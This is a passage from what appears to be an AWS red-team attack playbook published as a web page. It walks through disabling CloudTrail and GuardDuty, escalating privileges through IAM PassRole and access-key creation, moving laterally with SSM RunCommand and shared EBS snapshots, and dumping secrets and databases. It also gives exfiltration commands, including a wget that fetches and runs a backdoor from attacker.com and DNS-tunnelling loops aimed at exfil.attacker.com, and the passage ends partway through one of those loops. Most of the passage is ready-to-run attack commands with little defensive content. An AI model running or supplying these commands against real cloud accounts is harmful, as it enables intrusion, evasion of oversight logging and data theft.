  &lt;span class="nt"&gt;--instance-ids&lt;/span&gt; i-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--document-name&lt;/span&gt; &lt;span class="s2"&gt;"AWS-RunShellScript"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--parameters&lt;/span&gt; &lt;span class="s1"&gt;'commands=["echo \"ssh-rsa AAAA... attacker@evil\" &amp;gt;&amp;gt; /home/ec2-user/.ssh/authorized_keys"]'&lt;/span&gt;

&lt;span class="c"&gt;# Get command output&lt;/span&gt;
aws ssm get-command-invocation &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--command-id&lt;/span&gt; COMMAND-ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-id&lt;/span&gt; i-0123456789abcdef0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2.4 CloudTrail Evasion
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Stop CloudTrail logging&lt;/span&gt;
aws cloudtrail stop-logging &lt;span class="nt"&gt;--name&lt;/span&gt; TARGET-TRAIL

&lt;span class="c"&gt;# Delete CloudTrail&lt;/span&gt;
aws cloudtrail delete-trail &lt;span class="nt"&gt;--name&lt;/span&gt; TARGET-TRAIL

&lt;span class="c"&gt;# Delete CloudWatch logs&lt;/span&gt;
aws logs delete-log-group &lt;span class="nt"&gt;--log-group-name&lt;/span&gt; /aws/cloudtrail/TARGET-TRAIL

&lt;span class="c"&gt;# Disable GuardDuty&lt;/span&gt;
aws guardduty delete-detector &lt;span class="nt"&gt;--detector-id&lt;/span&gt; YOUR-DETECTOR-ID

&lt;span class="c"&gt;# Delete specific log streams&lt;/span&gt;
aws logs delete-log-stream &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--log-group-name&lt;/span&gt; /aws/cloudtrail/TARGET-TRAIL &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--log-stream-name&lt;/span&gt; LOG-STREAM-NAME

&lt;span class="c"&gt;# Put retention policy to minimize logs&lt;/span&gt;
aws logs put-retention-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--log-group-name&lt;/span&gt; /aws/cloudtrail/TARGET-TRAIL &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--retention-in-days&lt;/span&gt; 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Phase 3: Privilege Escalation
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Objective
&lt;/h4&gt;

&lt;p&gt;Elevate privileges from initial access level to administrative control.&lt;/p&gt;

&lt;p&gt;[ ] IAM Misconfiguration: Overly permissive policies, trust relationships&lt;/p&gt;

&lt;p&gt;[ ] Role Assumption: Cross-account role takeover&lt;/p&gt;

&lt;p&gt;[ ] Instance Profile Abuse: EC2 role credential harvesting&lt;/p&gt;

&lt;p&gt;[ ] SSM Exploitation: RunCommand on target instances&lt;/p&gt;

&lt;h4&gt;
  
  
  3.1 IAM PassRole Abuse
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check if you can pass roles&lt;/span&gt;
aws iam list-roles &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Roles[?AssumeRolePolicyDocument]'&lt;/span&gt;

&lt;span class="c"&gt;# Get role details&lt;/span&gt;
aws iam get-role &lt;span class="nt"&gt;--role-name&lt;/span&gt; HIGH-PRIVILEGE-ROLE

&lt;span class="c"&gt;# Check PassRole permission&lt;/span&gt;
aws iam simulate-principal-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-source-arn&lt;/span&gt; arn:aws:iam::ACCOUNT:role/YOUR-ROLE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--action-names&lt;/span&gt; iam:PassRole &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--resource-arns&lt;/span&gt; arn:aws:iam::ACCOUNT:role/HIGH-PRIVILEGE-ROLE

&lt;span class="c"&gt;# Create Lambda with high-privilege role&lt;/span&gt;
aws lambda create-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; escalation-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime&lt;/span&gt; python3.9 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::ACCOUNT:role/HIGH-PRIVILEGE-ROLE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--handler&lt;/span&gt; index.handler &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://function.zip

&lt;span class="c"&gt;# Invoke to execute as high-privilege role&lt;/span&gt;
aws lambda invoke &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; escalation-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--payload&lt;/span&gt; &lt;span class="s1"&gt;'{}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  output.json

&lt;span class="c"&gt;# Check output for results&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;output.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3.2 Create Access Key for Privileged User
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# If you have iam:CreateAccessKey on a user&lt;/span&gt;
aws iam create-access-key &lt;span class="nt"&gt;--user-name&lt;/span&gt; TARGET-ADMIN-USER

&lt;span class="c"&gt;# Output:&lt;/span&gt;
&lt;span class="c"&gt;# {&lt;/span&gt;
&lt;span class="c"&gt;#     "AccessKey": {&lt;/span&gt;
&lt;span class="c"&gt;#         "UserName": "admin-user",&lt;/span&gt;
&lt;span class="c"&gt;#         "AccessKeyId": "AKIA...",&lt;/span&gt;
&lt;span class="c"&gt;#         "Status": "Active",&lt;/span&gt;
&lt;span class="c"&gt;#         "SecretAccessKey": "...",&lt;/span&gt;
&lt;span class="c"&gt;#         "CreateDate": "2026-04-03T10:00:00Z"&lt;/span&gt;
&lt;span class="c"&gt;#     }&lt;/span&gt;
&lt;span class="c"&gt;# }&lt;/span&gt;

&lt;span class="c"&gt;# Add to your profile&lt;/span&gt;
aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; compromised-admin
&lt;span class="c"&gt;# AWS Access Key ID: [NEW_KEY]&lt;/span&gt;
&lt;span class="c"&gt;# AWS Secret Access Key: [NEW_SECRET]&lt;/span&gt;

&lt;span class="c"&gt;# Verify access&lt;/span&gt;
aws sts get-caller-identity &lt;span class="nt"&gt;--profile&lt;/span&gt; compromised-admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3.3 Assume Role Escalation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check trust relationships&lt;/span&gt;
aws iam get-role &lt;span class="nt"&gt;--role-name&lt;/span&gt; TARGET-ROLE

&lt;span class="c"&gt;# Example trust relationship:&lt;/span&gt;
&lt;span class="c"&gt;# {&lt;/span&gt;
&lt;span class="c"&gt;#   "Version": "2012-10-17",&lt;/span&gt;
&lt;span class="c"&gt;#   "Statement": [&lt;/span&gt;
&lt;span class="c"&gt;#     {&lt;/span&gt;
&lt;span class="c"&gt;#       "Effect": "Allow",&lt;/span&gt;
&lt;span class="c"&gt;#       "Principal": {&lt;/span&gt;
&lt;span class="c"&gt;#         "AWS": "arn:aws:iam::YOUR-ACCOUNT:root"&lt;/span&gt;
&lt;span class="c"&gt;#       },&lt;/span&gt;
&lt;span class="c"&gt;#       "Action": "sts:AssumeRole"&lt;/span&gt;
&lt;span class="c"&gt;#     }&lt;/span&gt;
&lt;span class="c"&gt;#   ]&lt;/span&gt;
&lt;span class="c"&gt;# }&lt;/span&gt;

&lt;span class="c"&gt;# Assume role if trusted&lt;/span&gt;
aws sts assume-role &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-arn&lt;/span&gt; arn:aws:iam::ACCOUNT:role/TARGET-ROLE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-session-name&lt;/span&gt; escalation-session

&lt;span class="c"&gt;# Output contains temporary credentials:&lt;/span&gt;
&lt;span class="c"&gt;# {&lt;/span&gt;
&lt;span class="c"&gt;#     "Credentials": {&lt;/span&gt;
&lt;span class="c"&gt;#         "AccessKeyId": "ASIA...",&lt;/span&gt;
&lt;span class="c"&gt;#         "SecretAccessKey": "...",&lt;/span&gt;
&lt;span class="c"&gt;#         "SessionToken": "...",&lt;/span&gt;
&lt;span class="c"&gt;#         "Expiration": "2026-04-03T18:00:00Z"&lt;/span&gt;
&lt;span class="c"&gt;#     }&lt;/span&gt;
&lt;span class="c"&gt;# }&lt;/span&gt;

&lt;span class="c"&gt;# Use temporary credentials&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ASIA...
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;...
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SESSION_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;...

&lt;span class="c"&gt;# Role chaining example&lt;/span&gt;
aws sts assume-role &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-arn&lt;/span&gt; arn:aws:iam::ACCOUNT:role/INTERMEDIATE-ROLE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-session-name&lt;/span&gt; chain1

&lt;span class="c"&gt;# Then assume final role&lt;/span&gt;
aws sts assume-role &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-arn&lt;/span&gt; arn:aws:iam::ACCOUNT:role/FINAL-ROLE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-session-name&lt;/span&gt; chain2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3.4 Glue Job Escalation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create Glue job with privileged role&lt;/span&gt;
aws glue create-job &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; escalation-job &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::ACCOUNT:role/GLUE-ROLE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--command&lt;/span&gt; &lt;span class="s1"&gt;'{"ScriptLocation":"s3://attacker-bucket/malicious-script.py","Runtime":"PYTHON"}'&lt;/span&gt;

&lt;span class="c"&gt;# Start the job&lt;/span&gt;
aws glue start-job-run &lt;span class="nt"&gt;--job-name&lt;/span&gt; escalation-job

&lt;span class="c"&gt;# Check job status&lt;/span&gt;
aws glue get-job-run &lt;span class="nt"&gt;--job-name&lt;/span&gt; escalation-job &lt;span class="nt"&gt;--run-id&lt;/span&gt; RUN-ID
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3.5 DataSync Task Escalation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create DataSync task with IAM role&lt;/span&gt;
aws datasync create-task &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--source-location-arn&lt;/span&gt; arn:aws:datasync:REGION:ACCOUNT:location:LOC-ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--destination-location-arn&lt;/span&gt; arn:aws:datasync:REGION:ACCOUNT:location:LOC-ID2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; escalation-task &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--options&lt;/span&gt; &lt;span class="s1"&gt;'{"VerifyMode":"NONE"}'&lt;/span&gt;

&lt;span class="c"&gt;# Start task&lt;/span&gt;
aws datasync start-task-execution &lt;span class="nt"&gt;--task-arn&lt;/span&gt; TASK-ARN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Phase 4: Lateral Movement
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Objective
&lt;/h4&gt;

&lt;p&gt;Move laterally across the AWS environment to access additional resources and accounts.&lt;/p&gt;

&lt;p&gt;[ ] Cross-Account Access: Trust relationship exploitation&lt;/p&gt;

&lt;p&gt;[ ] VPC Peering: Move between VPCs&lt;/p&gt;

&lt;p&gt;[ ] Secrets Access: Retrieve Secrets Manager/Parameter Store values&lt;/p&gt;

&lt;p&gt;[ ] RDS Access: Database links, dblink attacks&lt;/p&gt;

&lt;h4&gt;
  
  
  4.1 Cross-Account Access
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Assume role in another account&lt;/span&gt;
aws sts assume-role &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-arn&lt;/span&gt; arn:aws:iam::TARGET-ACCOUNT:role/CROSS-ACCOUNT-ROLE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-session-name&lt;/span&gt; lateral-movement

&lt;span class="c"&gt;# Check for trust relationships allowing your account&lt;/span&gt;
aws iam list-roles &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Roles[?AssumeRolePolicyDocument contains `YOUR-ACCOUNT-ID`]'&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate cross-account trusts&lt;/span&gt;
aws iam list-roles &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Roles[?AssumeRolePolicyDocument.AssumeRolePolicyDocument.Statement[?Principal.AWS==`arn:aws:iam::TARGET-ACCOUNT:root`]]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  4.2 VPC Peering Exploitation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List VPC peerings&lt;/span&gt;
aws ec2 describe-vpc-peering-connections

&lt;span class="c"&gt;# Get VPC details&lt;/span&gt;
aws ec2 describe-vpcs

&lt;span class="c"&gt;# List instances in peered VPC&lt;/span&gt;
aws ec2 describe-instances &lt;span class="nt"&gt;--filters&lt;/span&gt; &lt;span class="s2"&gt;"Name=vpc-id,Values=vpc-PEERED-VPC"&lt;/span&gt;

&lt;span class="c"&gt;# Access resources in peered VPC (requires network access)&lt;/span&gt;
&lt;span class="c"&gt;# Scan peered network&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; 10.0.0.0/16  &lt;span class="c"&gt;# Example peered network&lt;/span&gt;

&lt;span class="c"&gt;# Connect to RDS in peered VPC&lt;/span&gt;
psql &lt;span class="nt"&gt;-h&lt;/span&gt; TARGET-DB.REGION.rds.amazonaws.com &lt;span class="nt"&gt;-U&lt;/span&gt; admin &lt;span class="nt"&gt;-d&lt;/span&gt; targetdb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  4.3 Secrets Manager Access
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all secrets&lt;/span&gt;
aws secretsmanager list-secrets

&lt;span class="c"&gt;# Get secret value&lt;/span&gt;
aws secretsmanager get-secret-value &lt;span class="nt"&gt;--secret-id&lt;/span&gt; TARGET-SECRET

&lt;span class="c"&gt;# Get all secret values (if permitted)&lt;/span&gt;
aws secretsmanager list-secrets &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'SecretList[*].Name'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  xargs &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; aws secretsmanager get-secret-value &lt;span class="nt"&gt;--secret-id&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt;

&lt;span class="c"&gt;# List SSM parameters&lt;/span&gt;
aws ssm describe-parameters

&lt;span class="c"&gt;# Get parameter value&lt;/span&gt;
aws ssm get-parameter &lt;span class="nt"&gt;--name&lt;/span&gt; /TARGET/PARAM &lt;span class="nt"&gt;--with-decryption&lt;/span&gt;

&lt;span class="c"&gt;# Get all parameters&lt;/span&gt;
aws ssm describe-parameters &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Parameters[*].Name'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  xargs &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; aws ssm get-parameter &lt;span class="nt"&gt;--name&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="nt"&gt;--with-decryption&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  4.4 RDS Database Access
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List RDS instances&lt;/span&gt;
aws rds describe-db-instances

&lt;span class="c"&gt;# Get RDS endpoint&lt;/span&gt;
aws rds describe-db-instances &lt;span class="nt"&gt;--db-instance-identifier&lt;/span&gt; TARGET-DB &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'DBInstances[0].Endpoint.Address'&lt;/span&gt;

&lt;span class="c"&gt;# Connect using psql&lt;/span&gt;
psql &lt;span class="nt"&gt;-h&lt;/span&gt; TARGET-DB.REGION.rds.amazonaws.com &lt;span class="nt"&gt;-U&lt;/span&gt; admin &lt;span class="nt"&gt;-d&lt;/span&gt; targetdb

&lt;span class="c"&gt;# MySQL connection&lt;/span&gt;
mysql &lt;span class="nt"&gt;-h&lt;/span&gt; TARGET-DB.REGION.rds.amazonaws.com &lt;span class="nt"&gt;-u&lt;/span&gt; admin &lt;span class="nt"&gt;-p&lt;/span&gt;

&lt;span class="c"&gt;# Extract data via dblink (if cross-database links exist)&lt;/span&gt;
psql &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM dblink('host=other-db user=postgres password=pass', 'SELECT * FROM sensitive_table') AS t;"&lt;/span&gt;

&lt;span class="c"&gt;# Export data&lt;/span&gt;
pg_dump &lt;span class="nt"&gt;-h&lt;/span&gt; TARGET-DB.REGION.rds.amazonaws.com &lt;span class="nt"&gt;-U&lt;/span&gt; admin targetdb &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; backup.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  4.5 SSM RunCommand Lateral Movement
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List available instances&lt;/span&gt;
aws ssm describe-instances

&lt;span class="c"&gt;# Get instance IDs&lt;/span&gt;
aws ec2 describe-instances &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Reservations[*].Instances[*].InstanceId'&lt;/span&gt;

&lt;span class="c"&gt;# Execute command on target instance&lt;/span&gt;
aws ssm send-command &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-ids&lt;/span&gt; i-TARGET-INSTANCE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--document-name&lt;/span&gt; &lt;span class="s2"&gt;"AWS-RunShellScript"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--parameters&lt;/span&gt; &lt;span class="s1"&gt;'commands=["cat /etc/passwd", "wget http://attacker.com/backdoor.sh &amp;amp;&amp;amp; bash backdoor.sh"]'&lt;/span&gt;

&lt;span class="c"&gt;# Get command output&lt;/span&gt;
aws ssm get-command-invocation &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--command-id&lt;/span&gt; COMMAND-ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-id&lt;/span&gt; i-TARGET-INSTANCE

&lt;span class="c"&gt;# Execute PowerShell on Windows&lt;/span&gt;
aws ssm send-command &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-ids&lt;/span&gt; i-WINDOWS-INSTANCE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--document-name&lt;/span&gt; &lt;span class="s2"&gt;"AWS-RunPowerShellScript"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--parameters&lt;/span&gt; &lt;span class="s1"&gt;'commands=["Get-Process", "net user"]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  4.6 EBS Snapshot Sharing
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List EBS snapshots&lt;/span&gt;
aws ec2 describe-snapshots &lt;span class="nt"&gt;--owner-ids&lt;/span&gt; ACCOUNT-ID

&lt;span class="c"&gt;# Check for public snapshots&lt;/span&gt;
aws ec2 describe-snapshots &lt;span class="nt"&gt;--restorable-by-ids&lt;/span&gt; all

&lt;span class="c"&gt;# Share snapshot with attacker account&lt;/span&gt;
aws ec2 modify-snapshot-attribute &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--snapshot-id&lt;/span&gt; snap-1234567890abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--attribute&lt;/span&gt; createVolumePermission &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--add&lt;/span&gt; &lt;span class="s1"&gt;'{"UserIds": ["ATTACKER-ACCOUNT-ID"]}'&lt;/span&gt;

&lt;span class="c"&gt;# Attacker creates volume from shared snapshot&lt;/span&gt;
aws ec2 create-volume &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--snapshot-id&lt;/span&gt; snap-1234567890abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--availability-zone&lt;/span&gt; us-east-1a

&lt;span class="c"&gt;# Attach volume to attacker EC2&lt;/span&gt;
aws ec2 attach-volume &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--volume-id&lt;/span&gt; vol-ATTACKER-VOLUME &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-id&lt;/span&gt; i-ATTACKER-INSTANCE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--device&lt;/span&gt; /dev/sdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Phase 5: Data Exfiltration
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Objective
&lt;/h4&gt;

&lt;p&gt;Extract sensitive data from the target environment to attacker-controlled infrastructure.&lt;/p&gt;

&lt;p&gt;[ ] S3 Transfer: Copy data to attacker-controlled bucket&lt;/p&gt;

&lt;p&gt;[ ] DNS Exfil: Route53 DNS tunneling&lt;/p&gt;

&lt;p&gt;[ ] API Gateway: Exfil via legitimate AWS endpoints&lt;/p&gt;

&lt;p&gt;[ ] CloudFront: Distribution as exfil channel&lt;/p&gt;

&lt;h4&gt;
  
  
  5.1 S3 Transfer to Attacker Bucket
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create attacker-controlled bucket&lt;/span&gt;
aws s3 mb s3://attacker-exfil-bucket &lt;span class="nt"&gt;--profile&lt;/span&gt; attacker

&lt;span class="c"&gt;# Set bucket policy to allow target account&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt; policy.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowTargetAccount",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::TARGET-ACCOUNT:root"
            },
            "Action": ["s3:PutObject", "s3:GetObject"],
            "Resource": "arn:aws:s3:::attacker-exfil-bucket/*"
        }
    ]
}
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;aws s3api put-bucket-policy &lt;span class="nt"&gt;--bucket&lt;/span&gt; attacker-exfil-bucket &lt;span class="nt"&gt;--policy&lt;/span&gt; file://policy.json

&lt;span class="c"&gt;# Copy data from target to attacker bucket&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;s3://TARGET-SENSITIVE-BUCKET/data.zip s3://attacker-exfil-bucket/exfil/data.zip

&lt;span class="c"&gt;# Sync entire bucket&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;sync &lt;/span&gt;s3://TARGET-SENSITIVE-BUCKET s3://attacker-exfil-bucket/exfil/

&lt;span class="c"&gt;# Use multipart upload for large files&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;s3://TARGET-BUCKET/large-database.sql s3://attacker-exfil-bucket/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--expected-size&lt;/span&gt; 10737418240
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  5.2 DNS Exfiltration via Route53
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create attacker Route53 zone&lt;/span&gt;
aws route53 create-hosted-zone &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; exfil.attacker.com &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--type&lt;/span&gt; PUBLIC &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--caller-reference&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%s&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Get nameservers&lt;/span&gt;
aws route53 get-hosted-zone &lt;span class="nt"&gt;--id&lt;/span&gt; ZONE-ID

&lt;span class="c"&gt;# Exfiltrate data via DNS queries&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;chunk &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;sensitive-data.txt | &lt;span class="nb"&gt;base64&lt;/span&gt; | &lt;span class="nb"&gt;fold&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; 50&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;nslookup &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$chunk&lt;/span&gt;&lt;span class="s2"&gt;.exfil.attacker.com"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Or use dnscat2&lt;/span&gt;
dnscat2-precompiled &lt;span class="nt"&gt;--security&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;open exfil.attacker.com

&lt;span class="c"&gt;# Alternative: Use aws cli for DNS queries&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;chunk &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;sensitive-data.txt | &lt;span class="nb"&gt;base64&lt;/span&gt; | &lt;span class="nb"&gt;fold&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; 50&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
